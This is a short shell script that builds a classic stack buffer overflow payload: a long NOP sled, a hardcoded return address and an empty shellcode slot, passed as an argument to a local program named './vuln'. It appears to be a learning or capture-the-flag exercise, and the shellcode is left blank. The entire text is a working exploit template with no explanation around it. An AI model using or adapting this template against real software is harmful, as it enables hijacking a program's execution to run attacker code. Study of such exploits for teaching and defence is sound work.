#!/bin/sh

nop=
length=1008

for ((i=0; $i<$length; i++)) do
	nop=$nop"\x90"
done

ret="\x48\x05\x40\x00\x00\x00\x00\x00"
shell=

app='./vuln'
arg=$nop$ret$shell"\x00"

$app $arg
